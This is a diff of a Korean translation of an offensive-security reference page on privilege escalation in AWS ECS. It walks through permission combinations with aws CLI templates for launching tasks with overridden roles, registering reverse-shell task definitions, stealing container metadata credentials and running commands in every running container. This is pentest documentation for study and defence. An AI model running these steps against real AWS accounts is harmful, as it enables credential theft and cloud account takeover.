name="Webhook" }} -webhook.site와 같은 사이트에서 webhook을 생성하세요. +webhook.site 같은 사이트로 webhook을 생성하세요. ```bash # Create file container-definition.json @@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potential Impact:** 다른 ECS 역할로의 직접적인 privesc. +**Potential Impact:** 다른 ECS role로의 직접적인 privesc. ### `iam:PassRole`,`ecs:RunTask` -`iam:PassRole`와 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값을 사용해 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 제공하며, 이를 통해 task definition을 수정하지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다. +`iam:PassRole`와 `ecs:RunTask` 권한을 가진 공격자는 수정된 **execution role**, **task role** 및 컨테이너의 **command** 값으로 새로운 ECS task를 시작할 수 있습니다. `ecs run-task` CLI 명령은 `--overrides` 플래그를 제공하며, 이를 통해 task definition을 건드리지 않고 런타임에 `executionRoleArn`, `taskRoleArn` 및 컨테이너의 `command`를 변경할 수 있습니다. -지정된 `taskRoleArn` 및 `executionRoleArn`에 대한 IAM role은 trust policy에서 `ecs-tasks.amazonaws.com`이 해당 역할을 assume하는 것을 허용/신뢰하도록 설정되어 있어야 합니다. +`taskRoleArn` 및 `executionRoleArn`에 지정된 IAM role들은 트러스트 정책에서 `ecs-tasks.amazonaws.com`이 이를 assume할 수 있도록 trust/allow 되어 있어야 합니다. -또한 공격자는 다음을 알고 있어야 합니다: -- ECS 클러스터 이름 -- VPC 서브넷 -- Security group (보안 그룹이 지정되지 않은 경우 기본 보안 그룹이 사용됩니다) -- Task Definition 이름 및 리비전 -- 컨테이너 이름 +또한 공격자는 다음 정보를 알고 있어야 합니다: +- ECS cluster name +- VPC Subnet +- Security group (Security group이 지정되지 않으면 기본 보안 그룹이 사용됩니다) +- Task Definition Name and revision +- Name of the Container ```bash aws ecs run-task \ --cluster \ @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -위 코드 스니펫에서는 공격자가 `taskRoleArn` 값만 덮어씁니다. 그러나 공격이 발생하려면 공격자는 명령에 지정된 `taskRoleArn`과 태스크 정의에 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다. +위 코드 스니펫에서 공격자는 `taskRoleArn` 값만 덮어씁니다. 그러나 공격이 발생하려면 공격자는 명령에서 지정한 `taskRoleArn`과 태스크 정의에서 지정된 `executionRoleArn`에 대해 `iam:PassRole` 권한을 가지고 있어야 합니다. -공격자가 패스할 수 있는 IAM 역할이 ECR 이미지를 pull하고 ECS 태스크를 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면, 공격자는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM 역할을 지정할 수 있습니다. +공격자가 전달할 수 있는 IAM 역할이 ECR 이미지를 풀하고 ECS 태스크를 시작할 수 있는 충분한 권한(`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`)을 가지고 있다면, 공격자는 `ecs run-task` 명령에서 `executionRoleArn`과 `taskRoleArn`에 동일한 IAM 역할을 지정할 수 있습니다. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -121,12 +121,12 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ] }' ``` -**Potential Impact:** ECS task role에 대한 직접적인 privesc. +**잠재적 영향:** 어떤 ECS task role에 대한 직접 privesc. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -이전 예와 마찬가지로, 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 권한을 악용해 메타데이터 자격증명을 훔치는 **악성 컨테이너**를 포함한 **새로운 task definition을 생성하고** 이를 **실행할 수 있습니다**.\ -하지만 이 경우, 악성 task definition을 실행할 컨테이너 인스턴스가 필요합니다. +이전 예와 마찬가지로, 공격자는 ECS에서 **`iam:PassRole`**, **`ecs:RegisterTaskDefinition`**, **`ecs:StartTask`** 권한을 악용하여 메타데이터 자격증명을 탈취하는 **악성 컨테이너**를 포함한 새로운 **task definition**을 생성하고 **실행**할 수 있습니다.\ +하지만 이 경우에는 악성 task definition을 실행할 container instance가 필요합니다. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**잠재적 영향:** 모든 ECS 역할에 대한 직접적인 privesc. +**잠재적 영향:** Direct privesc to any ECS role. -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -앞의 예와 마찬가지로 공격자는 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하여 **새로운 task definition을 생성**하고, 메타데이터 자격 증명을 훔치는 **악성 컨테이너**를 포함시켜 **최소 1개의 task가 실행되는 새 service를 생성하여 이를 실행할 수 있습니다.** +이전 예제와 마찬가지로, ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하는 공격자는 **새 task definition을 생성**하여 **악성 container**로 metadata credentials를 탈취하고 **최소 1개의 task가 실행되도록 새 service를 생성해 이를 실행할 수 있습니다.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -169,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potential Impact:** 임의의 ECS 역할로의 직접 privesc. +**잠재적 영향:** 모든 ECS role에 대한 직접적인 privesc. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -실제로, 해당 권한만으로 overrides를 사용해 임의의 역할로 컨테이너에서 임의의 명령을 실행할 수 있습니다. 다음과 같이: +사실, 이러한 권한만으로 overrides를 사용하여 임의의 role로 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예: ```bash aws ecs run-task \ --task-definition "" \ @@ -181,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**잠재적 영향:** 모든 ECS 역할에 대한 직접적인 privesc. +**잠재적 영향:** 임의의 ECS role에 대한 직접 privesc. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -이 시나리오는 이전 것들과 유사하지만 **`iam:PassRole`** 권한이 **없다**.\ -역할이 없는 임의의 컨테이너를 실행할 수 있다면 여전히 위험하다. 왜냐하면 **run a privileged container to escape** to the node 하고 **steal the EC2 IAM role** 및 노드에서 실행 중인 **other ECS containers roles**를 훔칠 수 있기 때문이다.\ -심지어 손상한 EC2 인스턴스 내부에서 **force other tasks to run inside the EC2 instance** 하여 그들의 자격 증명을 훔칠 수도 있다 (자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 참조). +이 시나리오는 이전 경우들과 유사하지만 **`iam:PassRole`** 권한이 **없음**.\ +역할이 없더라도 임의의 컨테이너를 실행할 수 있다면, **권한이 높은 컨테이너를 실행해 노드로 탈출할 수 있으며** 노드에서 실행 중인 **EC2 IAM role** 및 **다른 ECS 컨테이너들의 roles**를 훔칠 수 있습니다.\ +심지어 손상시킨 **EC2 인스턴스** 내부에서 다른 태스크들이 실행되도록 강제해 그들의 자격증명을 훔칠 수도 있습니다(자세한 내용은 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 참조). > [!WARNING] -> 이 공격은 **ECS cluster가 EC2 인스턴스를 사용 중인 경우**에만 가능하며 Fargate에서는 불가능하다. +> 이 공격은 **ECS cluster가 EC2를 사용하고 있는 경우에만** 가능하며 Fargate에서는 불가능합니다. ```bash printf '[ { @@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 **명령을 실행**하고 해당 컨테이너에 연결된 IAM role을 exfiltrate할 수 있다 (`aws ecs execute-command`를 실행하려면 describe 권한이 필요하다).\ -하지만 이를 위해서는 컨테이너 인스턴스가 **ExecuteCommand agent**를 실행하고 있어야 한다(기본적으로는 실행되어 있지 않다). +권한 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`**를 가진 공격자는 실행 중인 컨테이너 내부에서 **명령을 실행**하고 그에 연결된 IAM 역할을 유출할 수 있습니다(`aws ecs execute-command`를 실행하려면 describe 권한이 필요합니다).\ +하지만 이를 위해서는 컨테이너 인스턴스에서 **ExecuteCommand agent**가 실행 중이어야 합니다(기본적으로는 실행되어 있지 않습니다). -따라서 공격자는 다음을 시도할 수 있다: +따라서 공격자는 다음을 시도할 수 있습니다: -- **모든 실행 중인 컨테이너에서 명령 실행을 시도** +- **모든 실행 중인 컨테이너에서 명령 실행 시도** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -256,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- 사용자가 **`ecs:RunTask`** 권한을 가지고 있다면, `aws ecs run-task --enable-execute-command [...]` 로 작업을 실행합니다. -- 사용자가 **`ecs:StartTask`** 권한을 가지고 있다면, `aws ecs start-task --enable-execute-command [...]` 로 작업을 실행합니다. -- 사용자가 **`ecs:CreateService`** 권한을 가지고 있다면, `aws ecs create-service --enable-execute-command [...]` 로 서비스를 생성합니다. -- 사용자가 **`ecs:UpdateService`** 권한을 가지고 있다면, `aws ecs update-service --enable-execute-command [...]` 로 서비스를 업데이트합니다. +- 해당 사용자가 **`ecs:RunTask`** 권한을 가지고 있다면, `aws ecs run-task --enable-execute-command [...]`로 작업을 실행하세요. +- 해당 사용자가 **`ecs:StartTask`** 권한을 가지고 있다면, `aws ecs start-task --enable-execute-command [...]`로 작업을 실행하세요. +- 해당 사용자가 **`ecs:CreateService`** 권한을 가지고 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하세요. +- 해당 사용자가 **`ecs:UpdateService`** 권한을 가지고 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하세요. -이 옵션들의 **예시**는 **이전 ECS privesc 섹션**에서 확인할 수 있습니다. +이 옵션들의 예시는 **이전 ECS privesc 섹션들**에서 확인할 수 있습니다. -**Potential Impact:** 컨테이너에 연결된 다른 role로의 Privesc. +**Potential Impact:** 컨테이너에 연결된 다른 역할로의 Privesc. ### `ssm:StartSession` -이 권한을 어떻게 악용해 **privesc to ECS** 할 수 있는지는 **ssm privesc page**를 확인하세요: +**ssm privesc 페이지**에서 이 권한을 어떻게 악용해 **ECS로 privesc**할 수 있는지 확인하세요: {{#ref}} aws-ssm-privesc.md @@ -275,7 +275,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -이 권한들을 어떻게 악용해 **privesc to ECS** 할 수 있는지는 **ec2 privesc page**를 확인하세요: +**ec2 privesc 페이지**에서 이러한 권한들을 어떻게 악용해 **ECS로 privesc**할 수 있는지 확인하세요: {{#ref}} aws-ec2-privesc.md @@ -283,16 +283,16 @@ aws-ec2-privesc.md ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -해당 권한을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 그 위에서 작업을 실행할 수 있습니다. 이를 통해 공격자는 ECS tasks의 컨텍스트 내에서 임의의 코드를 실행할 수 있습니다. +이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 해당 인스턴스에서 작업을 실행할 수 있습니다. 이는 공격자가 ECS 작업의 컨텍스트 내에서 임의의 코드를 실행할 수 있게 할 수 있습니다. -- TODO: 다른 AWS 계정의 인스턴스를 등록해서 작업이 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가?? +- TODO: 다른 AWS 계정의 인스턴스를 등록하여 작업이 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: 테스트 필요 -해당 권한들(`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`)을 가진 공격자는 기존 ECS service에 대해 악성 task set을 생성하고 primary task set을 업데이트할 수 있습니다. 이를 통해 공격자는 서비스 내에서 임의의 코드를 실행할 수 있습니다. +`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` 권한을 가진 공격자는 **기존 ECS 서비스에 대해 악의적인 task set을 생성하고 primary task set을 업데이트할 수 있습니다**. 이를 통해 공격자는 **서비스 내에서 임의의 코드를 실행할 수 있습니다**. ```bash # Register a task definition with a reverse shell echo '{ @@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행할 수 있으며, 이로 인해 서비스 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다. +**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스의 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다. ## 참조